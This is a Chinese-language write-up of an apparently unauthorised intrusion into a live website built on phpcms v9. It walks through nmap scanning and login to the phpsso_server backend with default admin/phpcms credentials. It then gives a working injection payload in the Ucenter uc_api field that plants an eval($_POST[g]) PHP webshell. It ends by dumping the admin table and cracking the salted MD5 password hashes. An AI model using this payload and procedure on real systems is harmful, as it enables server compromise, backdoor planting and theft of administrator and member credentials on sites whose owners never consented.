利用phpcms后台漏洞渗透某色情网站
本文来源于i春秋学院,未经允许严禁转载
phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析,其采用了phpcms系统,经过测试成功获取webshell。
1.1扫描及分析端口信息
使用“nmap -p 1-65535 -T4 -A -v www.****.info”命令对该网站进行全端口扫描,获取端口信息如图1
所示,扫描结束后发现网站对外开放了21、22、80、3306以及8888端口,感觉能利用的也就是21、80、3306和8888端口。
图1端口开放情况
1.2网站cms识别
通过http://www.****.info/robots.txt获取其文件内容:
User-agent: *
Disallow: /caches/
Disallow: /phpcms/
Disallow: /install/
Disallow: /api/
Disallow: /admin.php/
Disallow: /errpage/
Disallow: /uploadfile/
Disallow: /wp-crons.php/
Disallow: /statics/
Disallow: /plugin.php/
Disallow: /jiekou.php/
Disallow: /wp-crons.php/
Disallow: /phpmyadmin_sjsby8239yh2w9/
Disallow: /360safe/
Disallow: /404/
Disallow: /404.htm
Sitemap: /sitemap.html
Sitemap: /sitemap.xml
在实际试过程中如果没有robots.txt文件,则可以通过查看源代码,查看代码文件中的关键字等信息来确认,还可以使用linux的cms识别工具进行检查。
1.3可利用信息分析和测试
经过分析,该网站为phpcms的可能性最高,就以上信息,可以利用的有:
(1)“/phpmyadmin_sjsby8239yh2w9”可能为phpmyadmin管理地址,经过核实不存在该路径。
(2)admin.php为后台管理地址,经核实http://www.****.info/admin.php无法访问,如图2所示,提示页面没有找到。后续对http://www.****.info/jiekou.php、http://www.****.info/phpcms/、http://www.****.info/caches/进行访问,未发现明显可以利用的信息。
图2页面无法访问
1.4端口信息测试
(1)8888端口访问后,获取后台http://www.****.info:8888/index.php?m=Public&a=login,如图3所示,该平台为LuManager,通过该平台可以管理ftp、mysql数据库等,该平台2.0.99版本还存在SQL注入漏洞以及后台密码绕过漏洞,其url地址为:
(2)80端口对应主站域名。
图3LuManager管理后台
1.5phpsso_server后台管理
直接打开phpsso_server后台管理地址,如图4所示,可以使用默认admin/phpcms进行登录,在本例中顺利登录其后台地址,如图5所示,在该后台首页中可以获取phpcms的版本信息,服务器环境信息,会员总数等。
图4获取phpsso_server后台
图5成功登录后台
1.6获取webshell尝试
1.查看Ucenter配置
在后台管理中单击“系统设置”-“Ucenter配置”,如图6所示,该界面是用来对接Ucerter接口,在Ucenter api地址中存在漏洞。
图6Ucenter配置
2.定位关键字
使用Google浏览器Chrome,使用F12功能键,在dock位置中选择上下,然后在源代码中使用“Ctrl+F”快捷键进行关键字“api”搜索,如图7所示,找到id为uc_api的那一栏。
图7定位uc_api
3.修改关键字
选中后,在Google弹出的菜单中选择编辑html,使用代码进行替换:
<input type="text" class="input-text" name="data[uc_api','test');'\]" id="uc_api" value=";eval($_POST[g]);//" size="50">
图8修改参数值
4.获取webshell
选择“提交”并“更新缓存”即可获取shell,shell一句话后门密码为g,shell地址为:
http://127.0.0.1 /phpsso_server/caches/configs/uc_config.php,如图9所示,成功获取webshell。
图9获取webshell
1.7后续数据分析
1.获取管理员密码
通过查看该数据库xinxi_admin表,获取管理员相关信息,如图10所示,username、password、encrypt以及email信息。
图10获取管理员密码
2.破解管理员密码
phpcms 密码是采用md5加盐,在http://www.cmd5.com/网站中选择加密算法:md5(md5($pass).$salt);Vbulletin;IceBB;dz即可进行破解。如图11所示,如果查询到这会提示进行购买。phpcms会员密码也是采用同样算法,其表为xinxi_member、xinxi_sso_members。
图11破解phpcms管理员密码
1.8总结
如果知道phpcms的sso管理员密码,则可以通过该方法来获取管理员密码。
利用phpcms后台漏洞渗透某色情网站的更多相关文章
- 利用docker 最新漏洞渗透--提取root 权限
一.事出 近期乌云漏洞平台等科技新闻,爆出Docker虚拟化 端口漏洞,本着热爱开源,实践动手的精神,我也去尝试了下,漏洞严重性确实很高,可以拿到root 登陆账户. 二.还原 2.1 通过扫描,我们 ...
- 利用Axis2默认口令安全漏洞可入侵WebService网站
利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...
- 利用SQL注入漏洞登录后台的实现方法
利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...
- MetInfo最新网站漏洞如何修复以及网站安全防护
metinfo漏洞于2018年10月20号被爆出存在sql注入漏洞,可以直接拿到网站管理员的权限,网站漏洞影响范围较广,包括目前最新的metinfo版本都会受到该漏洞的攻击,该metinfo漏洞产生的 ...
- PHPCMS后台密码忘记解决办法
什么是PHPCMS? PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各 ...
- 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
==Ph4nt0m Security Team== Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...
- phpcms后台部分修改
1.后台登陆前提示信息取消及成功后提示信息取消. (1)后台登陆前提示信息取消 phpcms\modules\admin\classes\admin.class.ph ...
- 利用PHPCMS V9站群功能建立分站
hosts文件就在C:\Windows\system32\drivers\etc\hosts下 用一套CMS软件系统,做多个网站,统一管理,用户可以互通,这就是所谓的站群功能.这对于运营和维护都能节省 ...
- phpcms后台栏目权限修改无效的原因和解决方法
现象:在phpcms后台中,新建角色,然后修改角色对应栏目权限,结果一直只能选择一半数量的栏目.剩下的栏目怎么修改都不生效. 对比: step1:再另一个phpcms后台做同样操作,依旧是这个结果.跟 ...
随机推荐
- C#简繁体转换
/// <summary>/// 字符串简体转繁体/// </summary>/// <param name="strSimple"></ ...
- springBoot框架的搭建
1新建一个项目: 2.注意选择JDK1.8,和选择spring initializr加载springBoot相关jar包: 3.下一步next: 4.下一步next,选择Web和MyBatis然后ne ...
- 吴裕雄 python深度学习与实践(11)
import numpy as np from matplotlib import pyplot as plt A = np.array([[5],[4]]) C = np.array([[4],[6 ...
- java学习笔记(五):公共类
什么是公共类,公共类就是和源文件名同名的类,举例来说:类的名称是 public class aaa{},那么源文件就应该是 aaa.java. 每个源文件中只能有一个公共类. 每个源文件可以有很多非公 ...
- gitlab 备份与恢复
1. gitlab 备份命令:# gitlab-rake gitlab:backup:create 1.1 查看备份文件(默认备份路径:/var/opt/gitlab/backups)# ls /va ...
- C#删除文件夹以及删除文件
public static void DelectDir(string srcPath) { try { DirectoryInfo dir = new DirectoryInfo(srcPath); ...
- React createRef:引用
一 代码 import React, { Component } from 'react'; class Box extends Component { render() { return <b ...
- @RequestBody配合@JsonFormat注解实现字符串自动转换成Date
2018年08月28日 16:41:15 混合动力火锅 阅读数:440 在controller中使用@RequestBody可以自动将字符串转换成int或者将int转换成字符串,但是Date类型则 ...
- vue案例 - vuex+sessionstorage解决vue项目刷新后页面空白/数据丢失
第一部分 SessionStorage 首先查看sessionStorage的地方在控制台的 Application > Storage > Session Storage这里: 根据se ...
- spring boot项目升级到2.0.1,提示java.lang.ClassNotFoundException: org.apache.log4j.Logger错误
首先肯定是版本出现了一点兼容问题 所以我就进入项目,查看依赖树,cd到项目目录下,mvn dependency:tree 我看到我的项目原先是1.5.9和现在2.0.1的区别在于org.slf4j的依 ...